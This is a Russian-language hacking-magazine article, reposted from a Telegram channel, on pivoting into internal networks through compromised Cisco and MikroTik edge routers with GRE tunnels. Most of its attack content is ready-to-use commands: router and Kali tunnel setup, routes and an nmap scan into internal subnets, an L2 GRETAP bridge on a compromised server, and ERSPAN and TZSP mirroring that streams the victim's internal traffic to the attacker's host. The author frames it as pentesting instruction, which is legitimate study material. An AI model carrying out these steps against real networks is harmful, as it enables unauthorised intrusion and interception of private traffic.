Хакер - Pivoting District. Как работает GRE-пивотинг поверх сетевого оборудования

https://t.me/hacker_frei

Caster

Содержание статьи

• GRE
• Лабораторная сеть
• L3 GRE VPN поверх Cisco IOS
• L3 GRE VPN поверх RouterOS
• Обеспечение туннеля L2 GRE с поддержкой L2-атак
• Возможные проблемы с MTU
• Перехват трафика с помощью Cisco ERSPAN
• Перехват трафика с помощью TZSP (Mikrotik)
• Выводы

При нас­трой­ке средств защиты сетевое обо­рудо­вание час­то оста­ется без вни­мания адми­нис­тра­торов, что повыша­ет веро­ятность взло­ма и получе­ния кон­тро­ля над такими устрой­ства­ми. Что, если зло­умыш­ленник уже добил­ся кон­тро­ля над пог­ранич­ным обо­рудо­вани­ем? Смо­жет ли он подоб­рать­ся к внут­ренней инфраструк­туре?

Пи­вотинг (от англий­ско­го pivoting, а не от сло­ва «пиво») — это набор тех­ник, которые поз­воля­ют получить дос­туп к внут­ренним ресур­сам, минуя сетевую изо­ляцию, сетевые средс­тва защиты, фай­рвол. Дос­таточ­но мно­го было ска­зано о про­веде­нии пивотин­га через тра­дици­онные служ­бы SSH, OVPN и дру­гие. Но в сво­ем иссле­дова­нии я про­демонс­три­рую нет­радици­онные при­емы пивотин­га сквозь пог­ранич­ное сетевое обо­рудо­вание с исполь­зовани­ем про­токо­ла GRE.

WARNING

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

GRE

GRE (Generic Routing Encapsulation) — это про­токол инкапсу­ляции сетевых IP-пакетов, раз­работан­ный инже­нера­ми Cisco. В про­дак­шене он получил боль­шую популяр­ность, пос­коль­ку реша­ет проб­лемы соз­дания VPN-каналов для орга­низа­ций. GRE про­водит инкапсу­ляцию нап­рямую в IP-пакет, минуя тран­спортный уро­вень. Кста­ти говоря, в кон­тек­сте IP-пакета у GRE есть свой чис­ловой иден­тифика­тор — 47. По сути, GRE не пре­дос­тавля­ет никаких средств защиты тун­нелиру­емых дан­ных. Поэто­му в про­дак­шене обыч­но скре­щива­ют GRE и IPSec для обес­печения безопас­ности дан­ных. В этой статье я сов­сем нем­ного рас­ска­жу о GRE, что­бы ты понимал, зачем он нам понадо­бил­ся.

GRE-тун­нелиро­вание здесь под­разуме­вает три сущ­ности:

• Delivery Header. Пред­став­ляет собой IP-пакет с пуб­личны­ми адре­сами источни­ка/наз­начения. Бла­года­ря ему инкапсу­лиро­ван­ный пакет смо­жет дос­тичь адре­сата в сети Интернет. Его раз­мер — 20 байт;
• GRE-пакет. Его раз­мер — 4 бай­та;
• пас­сажир. Это полез­ные дан­ные, тра­фик, сге­нери­рован­ные легитим­ными служ­бами.

У GRE есть две вер­сии — 0 и 1. На кар­тинке выше пред­став­лена струк­тура нулевой вер­сии про­токо­ла GRE. Имен­но она обыч­но и исполь­зует­ся. Как видишь, боль­шинс­тво заголов­ков здесь опци­ональ­ные, то есть хра­нимые там зна­чения есть не всег­да и появ­ляют­ся лишь в спе­цифич­ных сце­нари­ях. GRE так­же носит иден­тифика­тор инкапсу­лиру­юще­го про­токо­ла в заголов­ке Protocol Type. Под каж­дый про­токол есть свой иден­тифика­тор: нап­ример, для пакета IPv4 этот иден­тифика­тор равен 0x0800.

WWW

Под­робнее о GRE читай в до­кумен­те RFC.

ЛАБОРАТОРНАЯ СЕТЬ

В качес­тве лабора­тор­ного стен­да выс­тупит сеть, изоб­ражен­ная на схе­ме.

Это типич­ная кор­поратив­ная сеть с тре­мя уров­нями (уро­вень дос­тупа, рас­пре­деле­ния и ядра). В качес­тве динами­чес­кой мар­шру­тиза­ции исполь­зует­ся про­токол OSPF, для отка­зоус­той­чивос­ти дос­тупнос­ти шлю­за — HSRP. Име­ем четыре ком­мутато­ра уров­ня дос­тупа и четыре сети VLAN со сво­ей адре­саци­ей. Так­же под­клю­чен отдель­ный ком­мутатор уров­ня рас­пре­деле­ния, за ним сеть 192.168.20.0/24.

В качес­тве Edge Router будут выс­тупать Cisco CSR и Mikrotik CHR v. 6.49.6.

С ата­кующей сто­роны машина с Kali Linux и пуб­личным IP-адре­сом — для при­мера ата­ки из интерне­та. Пред­положим, что ата­кующий каким‑то обра­зом получил дос­туп к панели управле­ния пог­ранич­ным мар­шру­тиза­тором, пос­коль­ку про­демонс­три­ровать мы хотим пивотинг, а это, как извес­тно, один из шагов во вре­мя пос­тэкс­плу­ата­ции.

L3 GRE VPN ПОВЕРХ CISCO IOS

Про­демонс­три­рую неболь­шой при­мер орга­низа­ции L3-тун­неля во внут­реннюю сеть, которая находит­ся за самим пог­ранич­ным роуте­ром. Вооб­ще, прин­ципы нас­трой­ки GRE не отли­чают­ся у всех вен­доров сетево­го обо­рудо­вания, воп­рос лишь в раз­ном син­такси­се. Давай для начала пос­мотрим, как нас­тра­ивать Cisco.

Кон­фигура­ция GRE в Cisco IOS вклю­чает сле­дующее:

• соз­дание логичес­кого интерфей­са;
• ука­зание режима, в котором будет работать тун­нель (GRE);
• наз­начение адре­са на интерфейс (здесь возь­мем адре­са 172.16.0.1 для Kali и 172.16.0.2 для Cisco CSR);
• за­дание адре­са источни­ка 212.100.144.100;
• за­дание адре­са наз­начения 100.132.55.100.

EdgeGW(config)# interface tunnel 1

EdgeGW(config-if)# tunnel mode gre ip

EdgeGW(config-if)# ip address 172.16.0.2 255.255.255.0

EdgeGW(config-if)# tunnel source 212.100.144.100

EdgeGW(config-if)# tunnel destination 100.132.55.100

Те­перь черед вто­рой сто­роны GRE-тун­неля. В нашем слу­чае этой «вто­рой сто­роной» будет хост ата­кующе­го. Linux прек­расно под­держи­вает работу с GRE при наличии необ­ходимо­го модуля ядра ip_gre. А он есть поч­ти вез­де.

Здесь шаги такие:

• им­порт модуля ядра;
• соз­дание логичес­кого интерфей­са с ука­зани­ем типа, адре­сов источни­ка и наз­начения;
• наз­начение адре­са на логичес­ком интерфей­се;
• вклю­чение интерфей­са.

c4s73r@kali:~$ sudo modprobe ip_gre

c4s73r@kali:~$ sudo ip link add name evilgre type gre local 100.132.55.100 remote 212.100.144.100

c4s73r@kali:~$ sudo ip addr add 172.16.0.1/24 dev evilgre

c4s73r@kali:~$ sudo ip link set evilgre up

Про­верим работу тун­неля через пинг до тун­нель­ного интерфей­са Cisco CSR.

Пос­мотрим на таб­лицу мар­шру­тиза­ции, добавим некото­рые мар­шру­ты до под­сетей, что­бы про­верить дос­тупность.

Про­писы­ваем мар­шру­ты до целевых под­сетей. Адре­сом шлю­за в дан­ном слу­чае будет адрес логичес­кого GRE-интерфей­са роуте­ра Cisco CSR — 172.16.0.2.

c4s73r@kali:~$ sudo route add -net 10.10.50.0 netmask 255.255.255.0 gw 172.16.0.2

c4s73r@kali:~$ sudo route add -net 10.10.110.0 netmask 255.255.255.0 gw 172.16.0.2

c4s73r@kali:~$ sudo route add -net 10.10.140.0 netmask 255.255.255.0 gw 172.16.0.2

c4s73r@kali:~$ sudo route add -net 10.10.210.0 netmask 255.255.255.0 gw 172.16.0.2

c4s73r@kali:~$ sudo route add -net 192.168.20.0 netmask 255.255.255.0 gw 172.16.0.2

c4s73r@kali:~$ sudo nmap -n -p 22 -iL targets -oA result

При­мер­но так будет выг­лядеть пакет с инкапсу­ляци­ей, если ата­кующий вза­имо­дей­ству­ет с внут­ренней сетью (ICMP, на при­мере внут­ренней под­сети наз­начения 192.168.20.0/24).

L3 GRE VPN ПОВЕРХ ROUTEROS

Те­перь про­демонс­три­рую при­мер на обо­рудо­вании Mikrotik. Здесь абсо­лют­но те же прин­ципы нас­трой­ки, раз­ница лишь в син­такси­се и иерар­хии рас­положе­ния сущ­ностей (интерфей­сы, IP-адре­сация и так далее).

INFO

Здесь при­веде­ны коман­ды имен­но для RouterOS v. 6.

Соз­даем логичес­кий интерфейс GRE, наз­нача­ем ему адрес, про­писы­ваем адрес уда­лен­ной сто­роны:

[admin@EdgeGW] /interface/gre> add name=gre_pivoting remote-address=100.132.55.100 allow-fast-path=no

[admin@EdgeGW] /interface/address> add address=172.16.0.2 netmask=255.255.255.0 interface=gre_pivoting

Сто­рона ата­кующе­го. Все то же самое, что было в час­ти про L3 VPN поверх Cisco:

c4s73r@kali:~$ sudo modprobe ip_gre

c4s73r@kali:~$ sudo ip link add name evilgre type gre local 100.132.55.100 remote 212.100.144.100

c4s73r@kali:~$ sudo ip addr add 172.16.0.1/24 dev evilgre

c4s73r@kali:~$ sudo ip link set evilgre up

Про­верим работу тун­неля GRE и ICMP:

[admin@EdgeGW] > ping 172.16.0.1

c4s73r@kali:~$ ping 172.16.0.2

Смот­рим в таб­лицу мар­шру­тиза­ции /ip route print и добав­ляем некото­рые мар­шру­ты для про­вер­ки сетевой связ­ности.

c4s73r@kali:~$ sudo route add -net 10.10.50.0 netmask 255.255.255.0 gw 172.16.0.2

c4s73r@kali:~$ sudo route add -net 10.10.110.0 netmask 255.255.255.0 gw 172.16.0.2

c4s73r@kali:~$ sudo route add -net 10.10.140.0 netmask 255.255.255.0 gw 172.16.0.2

c4s73r@kali:~$ sudo route add -net 10.10.210.0 netmask 255.255.255.0 gw 172.16.0.2

c4s73r@kali:~$ sudo route add -net 192.168.20.0 netmask 255.255.255.0 gw 172.16.0.2

Про­верим сетевую связ­ность до хос­тов этих под­сетей. ICMP Ping Sweep.

Вот таким обра­зом мож­но обес­печить L3 GRE тун­нель на при­мере Cisco IOS и RouterOS. Одна­ко в про­дак­шене встре­чают­ся раз­ные сетевые инфраструк­туры со спе­цифи­чес­кими кон­фигура­циями обо­рудо­вания. Желатель­но перед пос­тро­ением GRE-тун­неля пол­ностью изу­чить кон­фигура­цию мар­шру­тиза­тора — вдруг даль­нейше­му про­хож­дению тра­фика меша­ет ACL или, нап­ример, есть нуж­да в анон­сирова­нии сети GRE-тун­неля, если мы говорим о динами­чес­кой мар­шру­тиза­ции. 

ОБЕСПЕЧЕНИЕ ТУННЕЛЯ L2 GRE С ПОДДЕРЖКОЙ L2-АТАК

Для решения этой проб­лемы сущес­тву­ет TAP-интерфейс. TAP — это вир­туаль­ный сетевой драй­вер, он поз­воля­ет эму­лиро­вать Ethernet-устрой­ство и работа­ет на каналь­ном уров­не сети (L2), опе­риру­ет имен­но Ethernet-кад­рами. Сам GRE отлично работа­ет с TAP-интерфей­сами: Ethernet-кадр будет инкапсу­лиро­ван в тун­нель GRE, что, в свою оче­редь, дает воз­можность L2-дос­тупа до цели. Вооб­ще, TAP-интерфей­сы исполь­зуют­ся в про­дак­шене для соз­дания сетевых мос­тов.

Сам тун­нель L2 мы пос­тро­им поверх тун­неля L3, то есть получит­ся GRE over GRE. Через тун­нель L3 мы смо­жем соз­дать тун­нель L2 до целевой машины Relapse (пред­полага­ется, что ата­кующий уже получил кон­троль над ней). Эта машина пред­став­ляет собой сер­вер на Ubuntu 22.04 с дву­мя интерфей­сами.

На сто­роне ата­кующе­го иден­тичная ситу­ация с нас­трой­кой GRE L3, одна­ко соз­даем имен­но интерфейс GRETAP.

c4s73r@kali:~$ sudo modprobe ip_gre

c4s73r@kali:~$ sudo ip link add name evilgretap type gre local 172.16.0.1 remote 192.168.20.20

c4s73r@kali:~$ sudo ip link set evilgretap up

Сто­рона целево­го хос­та. Выяс­ним, что здесь с интерфей­сами.

На машине Relapse два физичес­ких интерфей­са. Вто­рой физичес­кий интерфейс eth1 смот­рит в некую под­сеть, о которой мы не зна­ли. Импорти­руем модуль для работы с GRE, соз­даем интерфейс GRETAP, соз­даем сетевой мост, куда мы помес­тим сам GRE и тот физичес­кий интерфейс.

c4s73r@Relapse:~$ sudo modprobe ip_gre

с4s73r@Relapse:~$ sudo ip link add name eviltap type gre local 192.168.20.20 remote 172.16.0.1

c4s73r@Relapse:~$ sudo brctl addbr internal

c4s73r@Relapse:~$ sudo brctl addif internal eviltap

c4s73r@Relapse:~$ sudo brctl addif internal eth1

c4s73r@Relapse:~$ sudo ip link set internal up

c4s73r@Relapse:~$ sudo sysctl -w net.ipv4.ip_forward=1

За­пус­тим Wireshark на сто­роне ата­кующе­го, на TAP-интерфей­се.

В тра­фике обна­ружи­ваем работу про­токо­лов STP и DTP, это говорит о том, что мы сумели попасть в каналь­ный сег­мент.

Как видим в тра­фике (Wireshark был запущен для интерфей­са evilgretap), добавил­ся еще один заголо­вок GRE. Его иден­тифика­тор равен 0x6558, что говорит о вза­имо­дей­ствии GRE с Ethernet-мос­том.

Поп­робу­ем получить адрес по DHCP:

c4s73r@kali:~$ sudo dhclient -v evilgretap

INFO

Во вре­мя получе­ния адре­са по DHCP из TAP-интерфей­са воз­можно добав­ление дру­гого мар­шру­та по умол­чанию, который может нарушить сетевую связ­ность. Вни­матель­но изу­чай свою таб­лицу мар­шру­тиза­ции во вре­мя траб­лшу­тин­га и уда­ли, что нуж­но, из таб­лицы мар­шру­тиза­ции.

Та­ким обра­зом, мы получа­ем дос­туп к L2-кон­туру с машины Relapse и воз­можность про­водить L2-ата­ки.

 ВОЗМОЖНЫЕ ПРОБЛЕМЫ С MTU

В компь­ютер­ной сети есть такое понятие, как MTU. Это спе­циаль­ный параметр, который ука­зыва­ет на мак­сималь­ный раз­мер полез­ных дан­ных во вло­жении. MTU есть и на физичес­ком интерфей­се, и на тун­нель­ном. На физичес­ком интерфей­се без при­мене­ния Jumbo Frame мак­сималь­ный MTU сос­тавля­ет 1500 байт, то есть толь­ко 1500 байт мож­но вло­жить в Ethernet.

А что с GRE? Это ведь логичес­кий интерфейс. MTU на тун­нель­ном интерфей­се GRE сос­тавля­ет 1476 байт. Такой MTU говорит толь­ко о том, что раз­мер полез­ных дан­ных необ­ходимо умень­шить до 24 байт, что­бы кадр про­шел через тун­нель­ный интерфейс без выпол­нения фраг­мента­ции.

По­чему имен­но 24 бай­та? Потому что во вре­мя воз­никно­вения GRE-инкапсу­ляции добав­ляют­ся два заголов­ка:

• Delivery Packet, он равен 20 бай­там;
• GRE-заголо­вок, равен 4 бай­там.

В слу­чае L2 GRE over L3 GRE MTU на тун­нель­ном интерфей­се вооб­ще дол­жен быть 1472 бай­та, пос­коль­ку занима­ются 28 байт (из‑за вто­рого GRE-заголов­ка).

Но на самом деле тун­нель­ный интерфейс GRE смо­жет работать сог­ласно MTU физичес­кого интерфей­са, то есть переда­вать полез­ные дан­ные в Ethernet-кад­ре раз­мером 1500 байт вклю­читель­но.

При необ­ходимос­ти мож­но уве­личить MTU на тун­нель­ном интерфей­се, если воз­ника­ют задер­жки и проб­лемы с переда­чей дан­ных. Во вре­мя уве­личе­ния MTU тун­нель­ного интерфей­са переда­ваемые IP-пакеты будут под­вергать­ся фраг­мента­ции, пос­коль­ку сам интерфейс GRE поз­воля­ет про­пус­кать через себя боль­ше дан­ных раз­мером 1476 байт. Одна­ко фраг­мента­ции может помешать спе­циаль­ный DF-бит в IP-пакете. Этот бит в прин­ципе зап­реща­ет фраг­мента­цию пакета.

Для Cisco IOS:

PWNED(config)# interface tunnel X

PWNED(config-if)# ip mtu 1514

Для RouterOS v. 6:

[admin@EdgeGW] /interface gre> set mtu=1514 name=gre_pivoting

До повыше­ния MTU ори­гиналь­ный пакет (пас­сажир) упи­рал­ся бы в 1476 байт, а пакет может быть и не фраг­менти­рован из‑за спе­циаль­ного DF-бита, который зап­реща­ет фраг­мента­цию IP-пакета. Но пос­ле повыше­ния MTU ори­гиналь­ный пакет не будет упи­рать­ся в это огра­ниче­ние, а фраг­менти­ровать­ся нач­нет вто­рой IP-пакет (Delivery Packet), который здесь из‑за GRE-инкапсу­ляции, а у это­го Delivery Packet DF-бита нет.

WWW

Ес­ли ты впер­вые стал­кива­ешь­ся с темой MTU, она может ока­зать­ся слож­ной для понима­ния. Поэто­му рекомен­дую разоб­рать­ся под­робнее.

• Maximum transmission unit (Wikipedia)
• What is MTU? (блог Cloudflare)
• Network Basics — Maximum Transmission Unit (YouTube)

ПЕРЕХВАТ ТРАФИКА С ПОМОЩЬЮ CISCO ERSPAN

ERSPAN (Encapsulated Remote Switch Port Analyzer) — это фун­кция зер­калиро­вания тра­фика, одна­ко, в отли­чие от SPAN/RSPAN, она может переда­вать зер­калиро­ван­ный тра­фик поверх канала L3. Кста­ти говоря, она так­же исполь­зует про­токол инкапсу­ляции GRE для переда­чи дан­ных поверх L3-соеди­нений. Этим может вос­поль­зовать­ся ата­кующий и про­ана­лизи­ровать тра­фик внут­ренней инфраструк­туры в поис­ках чувс­тви­тель­ных дан­ных либо узнать осо­бен­ности инфраструк­туры. ERSPAN — это проп­риетар­ная раз­работ­ка Cisco, поэто­му про­демонс­три­рую вари­ант перех­вата тра­фика имен­но на обо­рудо­вании Cisco.

Я буду зер­калиро­вать тра­фик с интерфей­са gi2 на IP-адрес 172.16.0.1 — это адрес тун­нель­ного интерфей­са GRE сис­темы ата­кующе­го. Прис­тупим к кон­фигура­ции. Основные парамет­ры здесь:

• иден­тифика­тор сес­сии ERSPAN;
• ин­терфейс источни­ка;
• ука­зание ERSPAN ID;
• IP-адрес, куда будет отправ­лять­ся зер­калиро­ван­ный тра­фик;
• IP-адрес источни­ка зер­калиро­ван­ного тра­фика;
• MTU (1900).

CSR(config)#monitor session 337 type erspan-source

CSR(config-mon-erspan-src)#source interface gigabitEthernet 2

CSR(config-mon-erspan-src)#no shutdown

CSR(config-mon-erspan-src)#destination

CSR(config-mon-erspan-src-dst)#erspan-id 337

CSR(config-mon-erspan-src-dst)#ip address 172.16.0.1

CSR(config-mon-erspan-src-dst)#origin ip address 172.16.0.2

CSR(config-mon-erspan-src-dst)#mtu 1900

CSR(config-mon-erspan-src-dst)#end

На этом кон­фигура­ция закон­чена. Мож­но прис­тупить к ана­лизу тра­фика на нашем интерфей­се GRE.

Пос­ле кон­фигура­ции ERSPAN мы перех­ватыва­ем весь тра­фик с интерфей­са gi2. Нап­ример, в дам­пе тра­фика запечат­лено наличие про­токо­ла OSPF. Обра­тив вни­мание на заголов­ки, видим, что сре­ди них есть заголо­вок ERSPAN. То есть ори­гиналь­ный тра­фик, который был зер­калиро­ван для отправ­ки до адре­сата, был раз­вернут в тун­нель GRE с исполь­зовани­ем ERSPAN-инкапсу­ляции.

Еще один при­мер — перех­вачен­ный ICMP-тра­фик. Видимо, внут­ри инфраструк­туры шли пин­ги до сетево­го обо­рудо­вания. В тра­фике может быть все что угод­но, но мы оста­новим­ся на этих при­мерах.

ПЕРЕХВАТ ТРАФИКА С ПОМОЩЬЮ TZSP (MIKROTIK)

Про­токол TZSP (TaZmen Sniffer Protocol) — ана­лог про­токо­ла ERSPAN. Здесь абсо­лют­но те же самые фун­кции. TZSP может переда­вать зер­калиро­ван­ный тра­фик поверх L3-канала и обыч­но исполь­зует­ся в инс­тру­мен­те Packet Sniffer внут­ри RouterOS.

Пе­рехо­дим в раз­дел кон­фигура­ции Packet Sniffer, рас­положен­ный в меню Tools, и нас­тра­иваем сле­дующие парамет­ры:

• streaming-enabled — акти­виру­ет работу сниф­фера;
• streaming-server — IP-адрес, куда будет отправ­лять­ся зер­калиро­ван­ный тра­фик;
• filter-interface — интерфей­сы источни­ка, отку­да будет дуб­лировать­ся тра­фик;
• filter-stream — cниф­фер будет работать сог­ласно полити­ке филь­тров.

[admin@EdgeGW] > /tool sniffer

[admin@EdgeGW] /tool sniffer> set streaming-enabled=yes streaming-server=172.16.0.1 filter-interface=ether1,ether2 filter-stream=yes

[admin@EdgeGW] /tool sniffer> start

ВЫВОДЫ

При­мер­но такими спо­соба­ми мож­но вос­поль­зовать­ся для пивотин­га внутрь инфраструк­туры или поверх сетево­го обо­рудо­вания. Наде­юсь, моя работа подарит пен­тесте­рам и ред­тимерам новый полез­ный при­ем. Глав­ное здесь — про­токол GRE, который пре­дос­тавля­ет могучие воз­можнос­ти как сетевым инже­нерам, так и спе­циалис­там по тес­тирова­нию на про­ник­новение.

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei